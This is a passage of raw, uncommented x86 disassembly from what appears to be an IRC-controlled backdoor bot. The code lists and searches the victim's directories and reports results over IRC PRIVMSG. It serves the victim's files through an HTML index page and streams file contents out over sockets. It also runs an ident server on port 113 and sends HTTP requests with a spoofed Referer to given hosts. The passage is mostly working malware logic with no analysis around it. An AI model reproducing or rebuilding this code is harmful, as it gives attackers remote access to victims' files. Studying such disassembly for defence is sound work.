mov byte ptr [eax], 5Ch
push offset aS_16 ; "%s"
loc_40DE1C: ; CODE XREF: sub_40DDDE+34j
lea eax, [ebp+var_10C]
push eax
call sub_417CB0
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_414EC0
test eax, eax
pop ecx
jbe short loc_40DEB7
mov [ebp+arg_8], 2
loc_40DE47: ; CODE XREF: sub_40DDDE+D7j
lea eax, [ebp+var_10C]
push eax
call sub_414EC0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40DE87
cmp [ebp+esi+var_10C], 25h
jnz short loc_40DE87
cmp [ebp+esi+var_10B], 32h
jnz short loc_40DE87
cmp [ebp+esi+var_10A], 30h
jnz short loc_40DE87
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40DEA1
; ---------------------------------------------------------------------------
loc_40DE87: ; CODE XREF: sub_40DDDE+79j
; sub_40DDDE+83j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40DE97
push 5Ch
pop eax
jmp short loc_40DE9A
; ---------------------------------------------------------------------------
loc_40DE97: ; CODE XREF: sub_40DDDE+B2j
movsx eax, al
loc_40DE9A: ; CODE XREF: sub_40DDDE+B7j
mov [ebp+ebx+var_210], al
loc_40DEA1: ; CODE XREF: sub_40DDDE+A7j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_414EC0
cmp esi, eax
pop ecx
jb short loc_40DE47
loc_40DEB7: ; CODE XREF: sub_40DDDE+60j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_417CB0
lea eax, [ebp+var_314]
push offset asc_441066 ; "\n"
push eax
call sub_418AC0
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_4E035C ; GetFileAttributesA
xor esi, esi
inc esi
cmp eax, 10h
jz short loc_40DF05
cmp eax, 0FFFFFFFFh
jnz short loc_40DF08
push [ebp+arg_0]
jmp short loc_40DF84
; ---------------------------------------------------------------------------
loc_40DF05: ; CODE XREF: sub_40DDDE+11Bj
mov [ebp+var_4], esi
loc_40DF08: ; CODE XREF: sub_40DDDE+120j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40DF15
mov [ebp+var_4], esi
loc_40DF15: ; CODE XREF: sub_40DDDE+132j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40DF8F
cmp [ebp+arg_C], edi
jz short loc_40DF83
lea eax, [ebp+var_314]
push offset asc_441068 ; "*"
push eax
call sub_418880
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_417CB0
lea eax, [ebp+var_210]
push eax
call sub_40E7CB
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_417CB0
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_40DFDE
; ---------------------------------------------------------------------------
loc_40DF83: ; CODE XREF: sub_40DDDE+14Ej
push ebx
loc_40DF84: ; CODE XREF: sub_40DDDE+125j
call dword_4D6700 ; closesocket
jmp loc_40E074
; ---------------------------------------------------------------------------
loc_40DF8F: ; CODE XREF: sub_40DDDE+149j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_4E03D8 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40DFDE
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_417CB0
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_4E03D4 ; GetFileSize
push esi
mov [ebp+var_330], eax
call dword_4E032C ; CloseHandle
loc_40DFDE: ; CODE XREF: sub_40DDDE+1A3j
; sub_40DDDE+1CEj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_44106C
push eax
call sub_417CB0
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_409663
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_4495A4[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40DC62
push edi
push edi
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_4495B4[ecx], eax
jnz short loc_40E083
push ebx
call dword_4D6700 ; closesocket
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset dword_4410A0
push eax
call sub_417CB0
lea eax, [ebp+var_8C4]
push eax
call sub_40F927
add esp, 10h
loc_40E074: ; CODE XREF: sub_40DDDE+1ACj
; sub_40DDDE+2ADj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40E07B: ; CODE XREF: sub_40DDDE+2ABj
push 5
call dword_4E033C ; Sleep
loc_40E083: ; CODE XREF: sub_40DDDE+266j
cmp [ebp+var_318], edi
jz short loc_40E07B
jmp short loc_40E074
sub_40DDDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E08D proc near ; CODE XREF: sub_401C87+367Bp
; sub_40DC62+153p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_417700
mov edi, [ebp+arg_0]
push offset word_4410D6
push edi
call sub_418AC0
add esp, 14h
cmp [ebp+arg_8], ebx
push edi
jz short loc_40E0EC
push [ebp+arg_8]
mov esi, 200h
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_417E80
add esp, 14h
jmp loc_40E1E8
; ---------------------------------------------------------------------------
loc_40E0EC: ; CODE XREF: sub_40E08D+3Bj
cmp [ebp+arg_C], ebx
jz loc_40E1CE
call sub_414EC0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_417E80
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_417E80
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
push edi
call sub_414EC0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_417E80
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_417E80
add esp, 0Ch
jmp short loc_40E1E8
; ---------------------------------------------------------------------------
loc_40E1CE: ; CODE XREF: sub_40E08D+62j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_417E80
add esp, 10h
loc_40E1E8: ; CODE XREF: sub_40E08D+5Aj
; sub_40E08D+13Fj
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
cmp [ebp+arg_C], ebx
jz short loc_40E280
push [ebp+arg_C]
call sub_414EC0
cmp eax, 2
pop ecx
jbe short loc_40E280
push [ebp+arg_C]
call sub_414EC0
sub eax, 3
pop ecx
jz short loc_40E234
loc_40E228: ; CODE XREF: sub_40E08D+1A5j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40E234
dec eax
jnz short loc_40E228
loc_40E234: ; CODE XREF: sub_40E08D+199j
; sub_40E08D+1A2j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_417760
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_417E80
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
loc_40E280: ; CODE XREF: sub_40E08D+17Dj
; sub_40E08D+18Bj
lea eax, [ebp+var_388]
push eax
push edi
call dword_4E03EC ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_4E03E8 ; FindNextFileA
test eax, eax
jz loc_40E677
mov edi, 1FFh
loc_40E2AC: ; CODE XREF: sub_40E08D+5E4j
cmp [ebp+var_388], ebx
jz loc_40E65F
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40E65F
lea eax, [ebp+var_35C]
push offset a__0 ; "."
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40E65F
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_4E03E4 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_4E03E0 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm_0 ; "PM"
cmp ax, 0Ch
ja loc_40E3A9
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_40E328: ; CODE XREF: sub_40E08D+322j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_417CB0
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40E4E0
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40E3B4
lea eax, [ebp+var_35C]
push eax
push offset aS_17 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_417E80
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_417E80
add esp, 28h
jmp loc_40E630
; ---------------------------------------------------------------------------
loc_40E3A9: ; CODE XREF: sub_40E08D+28Dj
movzx eax, ax
sub eax, 0Ch
jmp loc_40E328
; ---------------------------------------------------------------------------
loc_40E3B4: ; CODE XREF: sub_40E08D+2D5j
cmp [ebp+arg_C], ebx
jz loc_40E49E
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_417E80
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_3 ; "%s%s/"
push edi
push eax
call sub_417E80
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
lea eax, [ebp+var_35C]
push eax
call sub_414EC0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_40E45A
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40E45F
; ---------------------------------------------------------------------------
loc_40E45A: ; CODE XREF: sub_40E08D+3C4j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40E45F: ; CODE XREF: sub_40E08D+3CBj
push edi
push eax
call sub_417E80
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40E621
; ---------------------------------------------------------------------------
loc_40E49E: ; CODE XREF: sub_40E08D+32Aj
lea eax, [ebp+var_35C]
push eax
push offset aS_18 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_417E80
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_40E4CB: ; CODE XREF: sub_40E08D+47Bj
lea eax, [ebp+var_248]
push esi
push eax
call sub_417E80
add esp, 24h
jmp loc_40E630
; ---------------------------------------------------------------------------
loc_40E4E0: ; CODE XREF: sub_40E08D+2C9j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40E50A
push ebx
push [ebp+var_368]
call sub_411169
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_40E4CB
; ---------------------------------------------------------------------------
loc_40E50A: ; CODE XREF: sub_40E08D+459j
cmp [ebp+arg_C], ebx
jz loc_40E60A
push 0E6h
push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_417E80
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_4 ; "%s%s"
push edi
push eax
call sub_417E80
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
lea eax, [ebp+var_35C]
push eax
call sub_414EC0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_40E5B0
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40E5B5
; ---------------------------------------------------------------------------
loc_40E5B0: ; CODE XREF: sub_40E08D+51Aj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40E5B5: ; CODE XREF: sub_40E08D+521j
push edi
push eax
call sub_417E80
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_417E80
add esp, 1Ch
jmp short loc_40E630
; ---------------------------------------------------------------------------
loc_40E60A: ; CODE XREF: sub_40E08D+480j
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_40E621: ; CODE XREF: sub_40E08D+40Cj
lea eax, [ebp+var_248]
push eax
call sub_417E80
add esp, 18h
loc_40E630: ; CODE XREF: sub_40E08D+317j
; sub_40E08D+44Ej ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
cmp [ebp+arg_8], ebx
jz short loc_40E65F
push 7D0h
call dword_4E033C ; Sleep
loc_40E65F: ; CODE XREF: sub_40E08D+225j
; sub_40E08D+240j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_4E03E8 ; FindNextFileA
test eax, eax
jnz loc_40E2AC
loc_40E677: ; CODE XREF: sub_40E08D+214j
push [ebp+arg_0]
call dword_4E03DC ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_40E6BA
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_411169
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_411169
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_417CB0
add esp, 14h
jmp short loc_40E6E8
; ---------------------------------------------------------------------------
loc_40E6BA: ; CODE XREF: sub_40E08D+5F6j
cmp [ebp+arg_C], ebx
lea eax, [ebp+var_248]
jz short loc_40E6D4
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_417CB0
pop ecx
pop ecx
jmp short loc_40E6E8
; ---------------------------------------------------------------------------
loc_40E6D4: ; CODE XREF: sub_40E08D+636j
push [ebp+var_8]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_417CB0
add esp, 10h
loc_40E6E8: ; CODE XREF: sub_40E08D+62Bj
; sub_40E08D+645j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4D66B8 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40E08D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E70E proc near ; CODE XREF: sub_40DC62+135p
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_4E03D8 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E7C6
push esi
push ebx
call dword_4E03D4 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_40E7BF
loc_40E753: ; CODE XREF: sub_40E70E+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_417700
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_40E770
mov edi, [ebp+arg_4]
loc_40E770: ; CODE XREF: sub_40E70E+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_4E03F0 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_4E03B8 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4D66B8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E7BA
call dword_4D65FC ; WSAGetLastError
cmp eax, 2733h
jnz short loc_40E7BF
xor eax, eax
loc_40E7BA: ; CODE XREF: sub_40E70E+9Bj
sub [ebp+arg_4], eax
jnz short loc_40E753
loc_40E7BF: ; CODE XREF: sub_40E70E+43j
; sub_40E70E+A8j
push ebx
call dword_4E032C ; CloseHandle
loc_40E7C6: ; CODE XREF: sub_40E70E+30j
pop edi
pop esi
pop ebx
leave
retn
sub_40E70E endp
; =============== S U B R O U T I N E =======================================
sub_40E7CB proc near ; CODE XREF: sub_40DDDE+17Bp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_414EC0
test eax, eax
pop ecx
jbe short loc_40E7F4
loc_40E7DE: ; CODE XREF: sub_40E7CB+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_40E7E8
mov byte ptr [esi+edi], 2Fh
loc_40E7E8: ; CODE XREF: sub_40E7CB+17j
push edi
inc esi
call sub_414EC0
cmp esi, eax
pop ecx
jb short loc_40E7DE
loc_40E7F4: ; CODE XREF: sub_40E7CB+11j
mov eax, edi
pop edi
pop esi
retn
sub_40E7CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E7F9 proc near ; CODE XREF: sub_401C87+429Dp
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4D65D8 ; WSAStartup
push 6
push 1
push 2
call dword_4D66E8 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4D6668 ; ntohs
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_408766
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4D6610 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40E8D6
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_40E872
mov eax, offset dword_4D93A8
loc_40E872: ; CODE XREF: sub_40E7F9+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_417E80
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4D66B8 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_419330
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4D6680 ; recv
pop esi
loc_40E8D6: ; CODE XREF: sub_40E7F9+6Bj
push ebx
call dword_4D6700 ; closesocket
call dword_4D65C0 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_417CB0
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_40E916
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_40E916: ; CODE XREF: sub_40E7F9+102j
pop edi
pop ebx
leave
retn
sub_40E7F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40E91A proc near ; DATA XREF: sub_401404+430o
; sub_401C87+2D50o
var_238 = byte ptr -238h
var_38 = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_1C]
push esi
push eax
mov [ebp+var_8], esi
call sub_417700
add esp, 0Ch
mov [ebp+var_1C], 2
push 71h
call dword_4D6668 ; ntohs
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_4D66E8 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40EA7B
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_4495AC[eax], ebx
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_4D6694 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40EA7B
push 5
push ebx
call dword_4D6690 ; listen
cmp eax, 0FFFFFFFFh
jz loc_40EA7B
mov [ebp+var_C], edi
mov edi, 200h
loc_40E9A5: ; CODE XREF: sub_40E91A+EAj
; sub_40E91A+14Aj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_4D66FC ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_40EA76
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_238]
push offset dword_4415B8
push eax
call sub_417CB0
lea eax, [ebp+var_238]
push eax
call sub_40F927
add esp, 14h
lea eax, [ebp+var_238]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4D6680 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40E9A5
lea eax, [ebp+var_238]
push esi
push eax
call sub_41198E
push 0Ch
lea eax, [ebp+var_38]
push esi
push eax
call sub_417700
push esi
push esi
lea eax, [ebp+var_38]
push 2
push eax
call sub_409361
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+var_238]
push edi
push eax
call sub_417E80
add esp, 34h
lea eax, [ebp+var_238]
push esi
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_4]
call dword_4D66B8 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E9A5
mov [ebp+var_8], 1
jmp loc_40E9A5
; ---------------------------------------------------------------------------
loc_40EA76: ; CODE XREF: sub_40E91A+A0j
cmp [ebp+var_8], esi
jnz short loc_40EAA2
loc_40EA7B: ; CODE XREF: sub_40E91A+47j
; sub_40E91A+6Bj ...
call dword_4D65FC ; WSAGetLastError
push eax
lea eax, [ebp+var_238]
push offset dword_4415FC
push eax
call sub_417CB0
lea eax, [ebp+var_238]
push eax
call sub_40F927
add esp, 10h
loc_40EAA2: ; CODE XREF: sub_40E91A+15Fj
push ebx
call dword_4D6700 ; closesocket
push [ebp+var_4]
call dword_4D6700 ; closesocket
push [ebp+arg_0]
call sub_409979
pop ecx
push esi
call dword_4E03A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_40E91A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EAC5 proc near ; DATA XREF: sub_401C87+4D82o
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_4D6668 ; ntohs
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4D66E8 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_40EC30
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_4495AC[ecx], eax
call dword_4D6578 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call dword_4D6694 ; bind
test eax, eax
jnz loc_40EC30
push 0Ah
push [ebp+arg_0]
call dword_4D6690 ; listen
test eax, eax
jnz loc_40EC30
loc_40EB75: ; CODE XREF: sub_40EAC5+C6j
; sub_40EAC5+166j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4D66FC ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40EB75
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
